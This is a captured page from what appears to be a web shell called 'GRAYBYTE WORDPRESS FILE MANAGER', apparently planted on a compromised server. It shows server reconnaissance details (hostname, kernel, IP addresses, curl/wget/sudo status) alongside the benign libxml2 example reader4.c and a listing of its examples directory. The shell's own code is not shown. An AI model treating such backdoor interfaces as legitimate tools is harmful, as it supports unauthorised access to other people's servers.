✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/doc/libxml2-devel/examples//reader4.c
/**
 * section: xmlReader
 * synopsis: Parse multiple XML files reusing an xmlReader
 * purpose: Demonstrate the use of xmlReaderForFile() and
 * xmlReaderNewFile to parse XML files while reusing the reader object
 * and parser context.  (Note that the XMLReader functions require
 * libxml2 version later than 2.6.)
 * usage: reader4 <filename> [ filename ... ]
 * test: reader4 test1.xml test2.xml test3.xml > reader4.tmp && diff reader4.tmp $(srcdir)/reader4.res
 * author: Graham Bennett
 * copy: see Copyright for the status of this software.
 */

#include <stdio.h>
#include <libxml/xmlreader.h>

#ifdef LIBXML_READER_ENABLED

static void processDoc(xmlTextReaderPtr readerPtr) {
    int ret;
    xmlDocPtr docPtr;
    const xmlChar *URL;

    ret = xmlTextReaderRead(readerPtr);
    while (ret == 1) {
      ret = xmlTextReaderRead(readerPtr);
    }

    /*
     * One can obtain the document pointer to get interesting
     * information about the document like the URL, but one must also
     * be sure to clean it up at the end (see below).
     */
    docPtr = xmlTextReaderCurrentDoc(readerPtr);
    if (NULL == docPtr) {
      fprintf(stderr, "failed to obtain document\n");      
      return;
    }
      
    URL = docPtr->URL;
    if (NULL == URL) {
      fprintf(stderr, "Failed to obtain URL\n");      
    }

    if (ret != 0) {
      fprintf(stderr, "%s: Failed to parse\n", URL);
      return;
    }

    printf("%s: Processed ok\n", (const char *)URL);
}

int main(int argc, char **argv) {
    xmlTextReaderPtr readerPtr;
    int i;
    xmlDocPtr docPtr;

    if (argc < 2)
        return(1);

    /*
     * this initialises the library and check potential ABI mismatches
     * between the version it was compiled for and the actual shared
     * library used.
     */
    LIBXML_TEST_VERSION

    /*
     * Create a new reader for the first file and process the
     * document.
     */
    readerPtr = xmlReaderForFile(argv[1], NULL, 0);
    if (NULL == readerPtr) {
      fprintf(stderr, "%s: failed to create reader\n", argv[1]);      
      return(1);
    }
    processDoc(readerPtr);

    /*
     * The reader can be reused for subsequent files.
     */
    for (i=2; i < argc; ++i) {
      	xmlReaderNewFile(readerPtr, argv[i], NULL, 0);
	if (NULL == readerPtr) {
	  fprintf(stderr, "%s: failed to create reader\n", argv[i]);      
	  return(1);
	}
        processDoc(readerPtr);
    }

    /*
     * Since we've called xmlTextReaderCurrentDoc, we now have to
     * clean up after ourselves.  We only have to do this the last
     * time, because xmlReaderNewFile calls xmlCtxtReset which takes
     * care of it.
     */
    docPtr = xmlTextReaderCurrentDoc(readerPtr);
    if (docPtr != NULL)
      xmlFreeDoc(docPtr);

    /*
     * Clean up the reader.
     */
    xmlFreeTextReader(readerPtr);

    /*
     * Cleanup function for the XML library.
     */
    xmlCleanupParser();
    /*
     * this is to debug memory for regression tests
     */
    xmlMemoryDump();
    return(0);
}

#else
int main(void) {
    fprintf(stderr, "xmlReader support not compiled in\n");
    exit(1);
}
#endif

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
1 Sep 2026 4.57 AM
root / root
0755
Makefile.am
4.016 KB
17 Jan 2022 7.45 PM
root / root
0644
Makefile.in
34.332 KB
20 Feb 2022 12.11 PM
root / root
0644
examples.xml
31.391 KB
17 Jan 2022 7.24 PM
root / root
0644
examples.xsl
7.063 KB
17 Jan 2022 9.23 PM
root / root
0644
index.html
32.121 KB
17 Jan 2022 7.45 PM
root / root
0644
index.py
8.993 KB
17 Jan 2022 7.45 PM
root / root
0644
io1.c
3.665 KB
26 Jun 2020 12.29 PM
root / root
0644
io1.res
0.161 KB
26 Jun 2020 12.29 PM
root / root
0644
io2.c
1.154 KB
26 Jun 2020 12.29 PM
root / root
0644
io2.res
0.042 KB
26 Jun 2020 12.29 PM
root / root
0644
parse1.c
1.266 KB
6 Aug 2020 9.09 AM
root / root
0644
parse2.c
1.923 KB
6 Aug 2020 9.09 AM
root / root
0644
parse3.c
1.467 KB
6 Aug 2020 9.09 AM
root / root
0644
parse4.c
3.458 KB
6 Aug 2020 9.09 AM
root / root
0644
reader1.c
2.47 KB
6 Aug 2020 9.09 AM
root / root
0644
reader1.res
0.146 KB
26 Jun 2020 12.29 PM
root / root
0644
reader2.c
3.06 KB
26 Jun 2020 12.29 PM
root / root
0644
reader3.c
2.878 KB
6 Aug 2020 9.09 AM
root / root
0644
reader3.res
0.352 KB
26 Jun 2020 12.29 PM
root / root
0644
reader4.c
3.054 KB
6 Aug 2020 9.09 AM
root / root
0644
reader4.res
0.07 KB
26 Jun 2020 12.29 PM
root / root
0644
test1.xml
0.007 KB
26 Jun 2020 12.29 PM
root / root
0644
test2.xml
0.222 KB
26 Jun 2020 12.29 PM
root / root
0644
test3.xml
0.813 KB
26 Jun 2020 12.29 PM
root / root
0644
testWriter.c
37.598 KB
6 Aug 2020 9.09 AM
root / root
0644
tree1.c
2.192 KB
26 Jun 2020 12.29 PM
root / root
0644
tree1.res
0.118 KB
26 Jun 2020 12.29 PM
root / root
0644
tree2.c
3.335 KB
26 Jun 2020 12.29 PM
root / root
0644
tree2.res
0.442 KB
26 Jun 2020 12.29 PM
root / root
0644
tst.xml
0.089 KB
26 Jun 2020 12.29 PM
root / root
0644
writer.xml
0.531 KB
26 Jun 2020 12.29 PM
root / root
0644
xpath1.c
6.469 KB
26 Jun 2020 12.29 PM
root / root
0644
xpath1.res
0.111 KB
26 Jun 2020 12.29 PM
root / root
0644
xpath2.c
5.205 KB
26 Jun 2020 12.29 PM
root / root
0644
xpath2.res
0.739 KB
26 Jun 2020 12.29 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF